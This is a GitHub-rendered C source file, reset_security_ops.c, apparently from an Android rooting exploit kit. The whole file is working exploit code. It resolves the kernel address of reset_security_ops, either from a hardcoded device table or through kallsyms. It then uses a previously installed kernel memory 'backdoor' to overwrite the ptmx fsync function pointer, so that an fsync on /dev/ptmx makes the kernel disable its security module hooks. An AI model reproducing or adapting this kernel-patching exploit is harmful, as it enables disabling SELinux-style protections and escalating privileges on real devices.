-
Notifications
You must be signed in to change notification settings - Fork 51
/
Copy pathreset_security_ops.c
112 lines (88 loc) · 2.17 KB
/
reset_security_ops.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/system_properties.h>
#define _LARGEFILE64_SOURCE
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "device_database/device_database.h"
#include "ptmx.h"
#include "backdoor_mmap.h"
typedef struct _supported_device {
device_id_t device_id;
unsigned long int reset_security_ops_address;
} supported_device;
static supported_device supported_devices[] = {
{ DEVICE_IS17SH_01_00_04, 0xc03215b0 },
};
static int n_supported_devices = sizeof(supported_devices) / sizeof(supported_devices[0]);
static void (*reset_security_ops)(void);
static bool
setup_variable(void)
{
device_id_t device_id = detect_device();
int i;
for (i = 0; i < n_supported_devices; i++) {
if (supported_devices[i].device_id == device_id) {
reset_security_ops = (void *)supported_devices[i].reset_security_ops_address;
return true;
}
}
reset_security_ops = (void *)kallsyms_get_symbol_address("reset_security_ops");
return reset_security_ops;
}
void
call_reset_security_ops(void)
{
reset_security_ops();
}
static bool
run_reset_security_ops(void *user_data)
{
int fd;
fd = open(PTMX_DEVICE, O_WRONLY);
fsync(fd);
close(fd);
return true;
}
static bool
run_exploit(void)
{
void **ptmx_fsync_address;
unsigned long int ptmx_fops_address;
int fd;
bool ret;
ptmx_fops_address = get_ptmx_fops_address();
if (!ptmx_fops_address) {
return false;
}
if (!backdoor_open_mmap()) {
printf("Failed to mmap due to %s.\n", strerror(errno));
printf("Run 'install_backdoor' first\n");
return false;
}
ptmx_fsync_address = backdoor_convert_to_mmaped_address((void *)ptmx_fops_address + 0x38);
*ptmx_fsync_address = call_reset_security_ops;
ret = run_reset_security_ops(NULL);
*ptmx_fsync_address = NULL;
backdoor_close_mmap();
return ret;
}
int
main(int argc, char **argv)
{
if (!setup_variable()) {
printf("Failed to get reset_security_ops addresses.\n");
exit(EXIT_FAILURE);
}
run_exploit();
exit(EXIT_SUCCESS);
}
/*
vi:ts=2:nowrap:ai:expandtab:sw=2
*/